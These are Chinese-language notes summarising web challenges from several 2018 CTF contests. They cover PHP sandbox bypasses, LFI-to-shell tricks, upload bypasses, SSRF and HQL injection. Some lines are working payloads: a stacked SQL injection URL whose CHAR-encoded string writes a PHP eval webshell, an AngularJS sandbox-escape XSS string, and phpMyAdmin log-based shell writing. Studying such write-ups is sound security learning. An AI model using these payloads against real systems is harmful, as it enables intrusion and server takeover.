3.10 N1CTF
Easy&&Hard Php :
allow_diff_ip
= 0,无法异地登录,需要绕过 $_SERVER['REMOTE_ADDR']
利用SoapClient类发送请求时User-Agent存在CRLF控制整个POST报文构造SSRF
利用短标签short_open_tag上传绕过检测getshell
非预期解1 session.upload :上传文件时POST一个与php.ini中设置的session.upload_progress.name
同名变量
通过Session Upload Progress来设置session,配合LFI getshell
session.upload_progress.cleanup
= On时,需条件竞争。
非预期解2 Xdebug
利用LFI包含/var/www/phpinfo/index.php
非预期解3 /tmp/临时文件竞争
4.11 HITB-XCTF
upload
上传页面可返回图片宽度和高度,猜测是用了PHP中的getimagesize()
函数。而getimagesize
方法调用了Windows API里的FindFirstFileExW()
,未对特殊字符进行处理,导致以下特性:
大于号(>)相等于通配符问号(?)
小于号(<)相当于通配符星号(
*
)双引号(“)相当于点字符(.)
因此可以利用pic.php?file=../a</test.png
这样的方式观察是否得到图片长宽回显,从而爆破上传路径。
Windows+IIS7.0环境下利用NTFS ADS特性绕过上传对后缀的检测。之后直接读文件即可。
Baby Baby
Baby Nya
访问Tomcat,通过Jolokia获取管理员权限。
4.21 Star CTF
…
5.19 RCTF
AMP
利用AMP特性绕过CSP打Cookie
r-cursive
<?php
sha1($_SERVER['REMOTE_ADDR']) === '45ae51496b4a30e6be55f646c10c694c3feb946f' ?: die();
';' === preg_replace('/[^\W_]+\((?R)?\)/', NULL, $_GET['cmd']) ? eval($_GET['cmd']) : show_source(__FILE__);
一个php沙箱,正则告诉我们这里只能执行格式为xxxx();
的函数,可以递归执行函数,不允许带参数。
?cmd=print(readdir(opendir(getcwd()))); 可以列目录
?cmd=print(readfile(readdir(opendir(getcwd())))); 读文件
?cmd=print(dirname(dirname(getcwd()))); print出/var/www
getallheaders()
函数会返回所有的http请求头,因为header可控,所以可执行任意命令。
沙盒逃逸
backdoor
主要就是一个利用php伪协议(此处phar://或zip://)的文件包含
5.26 SUCTF
Anonymous
create_function产生匿名函数,动态函数执行。
Getshell
编码ISO-8859-15中可以用~进行取反生成所需字符。
Multisql
预期解:变量预处理 mysqli_multi_query()
造成多语句执行
http://web.suctf.asuri.org:85/user/user.php?id=22727;set @s=CHAR(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,98,100,119,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,109,121,115,104,101,108,108,46,112,104,112,39,59);prepare s2 from @s;execute s2;
非预期解:username二次注入。
HateIt
Homework
6.19 SCTF
新的建议板
页面包含angluar angluar-route两个js。
使⽤js编码来绕过 使⽤\u16进制绕过
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} }
};\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029//');}}
从angluar-route中找到被弃⽤的前端路由测试js⽂件。
XSS读后台页面用户名,结合API得到文件管理密码,从而得到flag文件。
Nginx的秘密
- 利用目录穿越漏洞下载nginx.conf,发现
proxy_cache
的配置发生改变。 - 扫目录推断后台路由逻辑。
。。后面从触发web缓存漏洞开始就看不懂了。。。
Zhuanxv
资源加载./loadimage?fileName=web_login_bg.jpg
存在任意文件下载。
从GitHub中的commit记录中获取信息,进行绕过过滤的HQL注入。
phpmyadmin
通过/phpMyAdmin/index.php?lang[]=1
报错得到网站路径。
修改general log file
,将general log
的值改为ON。
通过日志log文件写shell连接。
BabySyc - Simple PHP Web
- PHP代码混淆
- …
BabyIntranet
- Rails
- 域渗透
- MS-NLMP协议
- SMB签名
- …
SCTF的Misc中加入了⼯控协议、侧信道相关的内容。